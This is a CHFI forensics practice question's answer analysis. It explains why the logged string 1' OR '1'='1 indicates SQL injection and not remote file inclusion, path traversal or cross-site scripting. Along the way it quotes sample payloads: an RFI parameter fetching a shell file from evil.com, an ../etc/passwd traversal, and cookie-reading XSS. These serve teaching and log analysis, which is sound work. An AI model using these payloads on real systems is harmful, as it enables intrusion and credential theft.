CHFI Application, Email and Cloud Forensics Practice Question

Answer analysis

Option-by-option breakdown

For each option: why learners choose it and why it is or isn't the right answer here.

• ✗

  Remote file inclusion

  Why it's wrong here

  Remote file inclusion (RFI) is a server-side vulnerability where an application dynamically includes a file from an external URL via functions like include() or require(), typically triggered by parameters such as ?page=http://evil.com/shell.txt. The observed payload — 1' OR '1'='1 — contains no URL, file path, or remote host reference; it is pure SQL tautology syntax. HTTP logs of an RFI attempt would show a fully-qualified domain in the request, not a single-quoted OR expression. Thus this signature does not match RFI.

• ✗

  Path traversal

  Why it's wrong here

  Path traversal (directory traversal) exploits insufficient sanitization of file paths, using dot-dot-slash sequences like ../../etc/passwd or URL-encoded variants to read arbitrary files outside the web root. The entry 1' OR '1'='1 lacks any ../ tokens, absolute path references, or percent-encoding associated with traversal. Even if the query parameter were URL-encoded, an encoded single quote and OR statement never resolves to a file-system path component. Therefore, the log entry points to a database-level injection attempt rather than a file-read attack.

• ✓

  SQL injection

  Why this is correct

  This payload is a textbook SQL injection tautology: placing 1' OR '1'='1 inside a WHERE clause, such as WHERE user='admin' AND pass='1' OR '1'='1', makes the entire predicate evaluate to true, allowing authentication bypass or full table extraction. In an Apache access log, the malicious string can appear as part of the request URI or, less commonly, in the request body when access logging includes POST data. The single quote breaks out of the SQL string literal, and the OR condition forces a true result for every row, which is the definitive indicator of SQL injection testing or exploitation. Any defense should focus on parameterized queries, not input filtering alone, because the payload is syntactically valid SQL.

• ✗

  Cross-site scripting (XSS)

  Why it's wrong here

  Cross-site scripting involves injecting executable scripts into HTML or JavaScript contexts, with payloads such as <script>alert(document.cookie)</script> or <img src=x onerror=alert(1)>, which are interpreted by the victim's browser. The observed string 1' OR '1'='1 contains no angle brackets, no JavaScript event handlers, and no HTML tags, so it cannot execute client-side code. Even in an HTML-encoded environment, this would only remain a literal string or be evaluated as a SQL expression server-side, not as a script. The absence of script syntax makes XSS an incorrect classification for this log entry.

Go deeper

Related to this question